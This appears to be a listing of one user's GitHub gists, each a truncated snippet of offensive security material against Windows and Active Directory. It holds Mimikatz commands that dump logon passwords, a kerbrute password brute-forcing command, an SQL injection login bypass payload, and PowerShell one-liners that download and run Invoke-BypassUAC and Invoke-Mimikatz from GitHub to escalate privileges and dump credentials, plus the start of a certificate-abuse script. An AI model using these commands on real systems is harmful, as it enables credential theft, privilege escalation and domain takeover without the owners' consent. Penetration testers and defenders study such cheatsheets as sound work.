sg1965

The Web Application Hacker's Handbook

Web Application Hacker's Handbook Task checklist as a Github-Flavored Markdown file

Contents

• Recon and analysis
• Test handling of access
• Test handling of input
• Test application logic
• Assess application hosting
• Miscellaneous tests

sg1965

#general
privilege::debug
log
log customlogfilename.log


#sekurlsa
sekurlsa::logonpasswords
sekurlsa::logonPasswords full

sg1965

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

sg1965

# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set

sg1965

Discovery

Tools

SQL Injection

' or '1' ='1' --

Website Directory Enumeration

sg1965

Discovery

Tools

SQL Injection

' or '1' ='1' --

Website Directory Enumeration

sg1965

Description:

Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]

powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start     powershell.exe'"

Invoke-Mimikatz: Dump credentials from memory

powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

Import Mimikatz Module to run further commands

sg1965

Note: I did not author this, i found it somehwere.

Active Directory Attacks

Summary

• Tools
• Most common paths to AD compromise
  • MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
  • Open Shares
• [GPO - Pivoting with Local Admin

sg1965

#!/usr/bin/env python3

'''
NameMash by superkojiman

Generate a list of possible usernames from a person's first and last name. 

https://blog.techorganic.com/2011/07/17/creating-a-user-name-list-for-brute-force-attacks/
'''

sg1965

#Thank you @NotMedic for troubleshooting/validating stuff!

$password = Read-Host -Prompt "Enter Password"
#^^ Feel free to hardcode this for running in a beacon/not retyping it all the time!

$server = "admin" #This will just decide the name of the cert request files that are created. I didn't want to change the var name so it's server for now. 
$CERTPATH = "C:\Users\lowpriv\Desktop\" #Where do you want the cert requests to be stored?
$CAFQDN = "dc01.alexlab.local" #hostname of underlying CA box.
$CASERVER = "alexlab-dc01-ca" #CA name.
$CA = $CAFQDN + "\" + $CASERVER